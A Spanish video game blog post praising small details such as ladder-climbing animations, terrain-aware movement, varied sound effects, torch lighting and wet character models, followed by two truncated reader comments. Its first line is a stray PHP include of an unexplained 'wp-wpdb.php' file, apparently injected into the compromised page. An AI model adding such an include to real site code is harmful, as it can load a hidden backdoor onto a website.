if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Son aquellas pequeñas cosas… – La Fortaleza de LeChuck

Son aquellas pequeñas cosas…

Ya lo decía Serrat en su canción: son las pequeñas cosas las que al final marcan la diferencia. En una generación repleta de explosiones de edificios, helicópteros ardiendo, tsunamis y huracanes (todo junto si hablamos de Disaster: Day of Crisis) no viene mal echar la vista atrás para apreciar pequeños detalles que pueden pasar fácilmente desapercibidos pero que, cuando uno los nota, pueden hacernos dejar a un lado nuestras ansias por avanzar en el juego para pararnos y disfrutar del mimo que los desarrolladores han puesto en él. Y no me refiero a los famosos «huevos de pascua» ultra-rebuscados que están incluidos en algunos títulos, sino a detalles que tenemos constantemente delante de nuestras narices y que, muchas veces, el resto de artificios no nos dejan disfrutar.

1. ¡Sube bien la escalera, hombre!
Cada jugador tiene sus manías a la hora de jugar: estar a oscuras, tirado en el sofá, con el volumen a todo trapo… pero además de esto, cada uno centra su atención en distintos detalles durante una partida, esperando que los creadores los hayan tenido en cuenta. En mi caso, siempre me fijo en la animación del personaje al subir una escalera. El hecho de ver cómo los pies se apoyan exactamente en los escalones es uno de los grandes placeres de la vida (bueno, igual no tanto, pero está bastante bien). Y si ya hablamos de una escalera de pared y además el personaje apoya también las manos justo en las barras, no se puede pedir más. No hay efecto más antiestético que ver cómo el protagonista de la aventura se queda flotando entre dos escalones o se sujeta en puntos intermedios invisibles. Son buenos ejemplos de máximo cuidado en este sentido el Link de The Wind Waker y los personajes de L.A.Noire, que suben y bajan las escaleras que da gusto verlos.

Vosotros mataos si queréis, que yo mientras bajo las escaleras que ni Norma Duval
2. Animaciones adaptadas al terreno
En muchos juegos (por no decir en la mayoría), ya puede haber un desnivel del 50% en el terreno que los personajes van a seguir andando o corriendo de la misma manera que si estuvieran en una llanura. Tampoco pido que se pongan a sudar y se lleven las manos a los riñones al subir una cuesta, pero qué menos que tener una animación que muestre que les está costando un poco más. Por otro lado, a muchos personajes el hecho de encontrarse obstáculos en el camino no les impide seguir su trayectoria y atravesarlos tan ricamente, como si no estuvieran, haciendo gala de un estupendo clipping. Es por eso que una vez más tengo que nombrar al estupendo L.A. Noire, que tiene pocos rivales en este sentido. Es un gustazo ver como el agente Cole Phelps se inclina al subir una pendiente, salta por encima de los cadáveres de las víctimas o incluso, si vas corriendo, ¡sube los escalones de dos en dos!

¡Mira qué bien doblo la pierna para adaptarme al terreno!

3. Varias versiones de un mismo sonido

Que en un juego de lucha los gemidos de los personajes no sean siempre iguales o que el sonido de la afición en un juego deportivo varíe según la situación es algo que se agradece mucho y que ayuda a involucrarnos más con el juego al sentir que no es algo tan mecánico. Algunos juegos van más allá y no sólo cumplen esto, sino que lo hacen con cosas que no afectan para nada al desarrollo jugable y no son más que una mera curiosidad. Me refiero a casos como el de Luigi’s Mansion, en el que podemos llamar a Mario no sólo de una, sino de todas las maneras que aparecen en este vídeo:

¿M-m-m-m-mario?
4. Luces que iluminan

No son pocas las veces que he visto en un juego cómo el personaje lleva una antorcha en la mano y su cara, que está a 10 cm escasos, no muestra ni un atisbo de iluminación. Lo mismo pasa con otro tipo de luces, como lámparas o faros. Está claro que, en muchos casos, esto se debe a una limitación técnica, porque generar iluminación dinámica consume muchos recursos y por eso entiendo que este efecto no aparezca en juegos más antiguos, pero que en muchos títulos de esta generación no se tenga esto en cuenta es bastante triste.

Ya me pueden poner la antorcha olímpica en la mano, que no me voy a inmutar.

5. El agua moja (sí, sí, como lo oís)

Y si la falta de efectos de iluminación pueden achacarse a limitaciones técnicas, lo mismo ocurre con los personajes que salen del agua después de haberse dado un baño. Porque todos sabemos que el agua moja, pero hasta esta generación (y no en todos los juegos que debería) parece que esta verdad no ha llegado a los videojuegos. No pido que el pelo de Mario gotee en alta definición, pero sí que se muestre alguna diferencia entre el modelo original y el que se supone que está mojado. Y esto es algo que ha sido tenido en cuenta en muchos juegos a lo largo de estas décadas. Hasta en su día hubo sprites de 16 bits que salían mojados, así que, señores desarrolladores, ¡no valen las excusas!

Bueno, vale, igual tampoco hace falta que se note tanto.

Estas son algunas de las cosas que más me gusta ver en un videojuego. Aumentan la inmersión y seguramente, aunque de forma inconsciente, nos conectan de alguna forma con las personas que han trabajado para proporcionarnos cada experiencia. Es triste ver cómo, en un momento en el que las limitaciones técnicas se han reducido de forma significativa, no se incluyen detalles que hace dos décadas estaban ahí y que seguramente requirieron mucho más esfuerzo por parte de los programadores. Y en vuestro caso, ¿qué pequeños detalles hacen que un juego os deje con un buen sabor de boca?

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Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

2 comentarios

  1. Bueno esos detalles forman parte de la realidad que queremos reflejar de forma virtual.
    Pero está claro que detallitos son los que llaman la atención, y un buen ejemplo que habéis puesto es Zelda Wind Waker, llenisimo de detalles minúsculos para que te entretengas.

    Cuando este salía del agua también goteaba, sus piernas se adaptaban al terreno, las luces le afectaban, las

  2. Me parece interesante el tema que se plantea en este post (y el primer comentario) y creo que hay que diferenciar claramente entre los efectos que resultan "naturales" y "fotorealistas".

    Es en eso donde los pequeños detalles de Zelda WW superan a muchos juegos actuales como Skyrim, del que hablas y que precisamente peca de inmunidad a las cuestas. Pon un caballo en

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